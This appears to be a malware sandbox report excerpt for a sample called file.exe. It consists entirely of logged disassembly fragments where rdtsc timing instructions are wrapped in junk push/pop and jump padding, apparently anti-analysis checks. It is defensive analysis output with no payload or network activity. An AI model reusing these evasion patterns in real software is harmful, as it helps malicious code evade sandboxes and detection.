Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12120A6 second address: 12120AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12120AA second address: 12120AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12120AE second address: 12120B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121238D second address: 1212393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212393 second address: 1212399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212399 second address: 121239D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215198 second address: 12151B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jl 00007FC14CF3D6D8h 0x0000000d jmp 00007FC14CF3D6DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216781 second address: 1216785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216785 second address: 121678B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C576 second address: 121C5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14C6D0A36h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC14C6D0A35h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C5A8 second address: 121C5CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FC14CF3D6E4h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C5CD second address: 121C5E2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14C6D0A28h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b je 00007FC14C6D0A26h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F2F6 second address: 121F306 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F306 second address: 121F310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC14C6D0A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F310 second address: 121F314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F314 second address: 121F31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F31C second address: 121F327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EBEF second address: 121EBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jo 00007FC14C6D0A26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EBFD second address: 121EC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EC05 second address: 121EC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EC13 second address: 121EC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EC17 second address: 121EC2D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC14C6D0A2Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EC2D second address: 121EC32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215CF second address: 12215D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122126E second address: 1221276 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225103 second address: 1225109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225109 second address: 122510F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122510F second address: 122511F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC14C6D0A26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122511F second address: 1225123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224833 second address: 122483E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FC14C6D0A26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12249B8 second address: 12249C2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12249C2 second address: 12249CC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14C6D0A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12249CC second address: 12249D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224E31 second address: 1224E52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A34h 0x00000007 jp 00007FC14C6D0A26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227F28 second address: 1227F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6E3h 0x00000009 jmp 00007FC14CF3D6DAh 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 je 00007FC14CF3D6D6h 0x0000001a jmp 00007FC14CF3D6DBh 0x0000001f popad 0x00000020 push esi 0x00000021 push esi 0x00000022 pop esi 0x00000023 pushad 0x00000024 popad 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12280E3 second address: 12280F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC14C6D0A26h 0x0000000a je 00007FC14C6D0A26h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228245 second address: 122824E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122824E second address: 122825E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122825E second address: 122826D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007FC14CF3D6D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122826D second address: 122829C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC14C6D0A38h 0x00000010 jnl 00007FC14C6D0A2Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122829C second address: 12282A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228663 second address: 1228670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FC14C6D0A26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228670 second address: 1228674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1228674 second address: 122867C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E066 second address: 122E06C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E06C second address: 122E08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007FC14C6D0A26h 0x0000000f jl 00007FC14C6D0A26h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007FC14C6D0A26h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CC4E second address: 122CC57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CC57 second address: 122CC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CDB1 second address: 122CDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FC14CF3D6E5h 0x0000000d je 00007FC14CF3D6D6h 0x00000013 popad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CDD8 second address: 122CDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC14C6D0A38h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D08E second address: 122D0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FC14CF3D6DFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D0A6 second address: 122D0AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D0AA second address: 122D0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D0B3 second address: 122D0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D0B9 second address: 122D0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D0BF second address: 122D0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FC14C6D0A35h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FC14C6D0A2Dh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66F0 second address: 11D673B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC14CF3D6D8h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 jmp 00007FC14CF3D6E8h 0x00000016 popad 0x00000017 nop 0x00000018 push edx 0x00000019 cmc 0x0000001a pop edx 0x0000001b mov ebx, dword ptr [ebp+12489735h] 0x00000021 or di, D341h 0x00000026 add eax, ebx 0x00000028 mov cx, FD56h 0x0000002c nop 0x0000002d jbe 00007FC14CF3D6DEh 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D673B second address: 11D679E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jmp 00007FC14C6D0A2Ch 0x0000000b nop 0x0000000c adc edi, 31BCFE0Fh 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FC14C6D0A28h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov ecx, 34D404F2h 0x00000033 nop 0x00000034 pushad 0x00000035 jmp 00007FC14C6D0A35h 0x0000003a push ecx 0x0000003b jnp 00007FC14C6D0A26h 0x00000041 pop ecx 0x00000042 popad 0x00000043 push eax 0x00000044 push edi 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DD57 second address: 122DD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DEh 0x00000009 jmp 00007FC14CF3D6E1h 0x0000000e pushad 0x0000000f jnc 00007FC14CF3D6D6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122DD85 second address: 122DD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234006 second address: 123400A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123400A second address: 1234039 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A33h 0x00000007 jmp 00007FC14C6D0A38h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234039 second address: 123403E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123432C second address: 1234336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234E34 second address: 1234E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234E38 second address: 1234E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234E3C second address: 1234E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC14CF3D6D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234E48 second address: 1234E57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FC14C6D0A26h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12356BB second address: 12356BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12359F6 second address: 12359FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12359FA second address: 1235A20 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC14CF3D6DFh 0x00000011 jmp 00007FC14CF3D6DBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A3FD second address: 123A402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A402 second address: 123A408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A408 second address: 123A40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A40C second address: 123A410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239611 second address: 123961A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123961A second address: 123962F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123962F second address: 1239639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239639 second address: 1239645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC14CF3D6D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239791 second address: 1239795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239795 second address: 12397A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123992C second address: 123993E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FC14C6D0A32h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123993E second address: 1239948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC14CF3D6D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239BD8 second address: 1239BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FC14C6D0A2Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239BF4 second address: 1239BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC14CF3D6D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E889 second address: 123E8B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC14C6D0A33h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E8B4 second address: 123E8BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E8BA second address: 123E8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240B5E second address: 1240B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240B62 second address: 1240B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FC14C6D0A26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240B73 second address: 1240B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC14CF3D6E4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247F10 second address: 1247F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247F16 second address: 1247F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247F1A second address: 1247F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12464C3 second address: 12464E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FC14CF3D6D6h 0x0000000f jmp 00007FC14CF3D6DCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A5A second address: 1246A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A5F second address: 1246A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC14CF3D6D6h 0x0000000a rdtsc
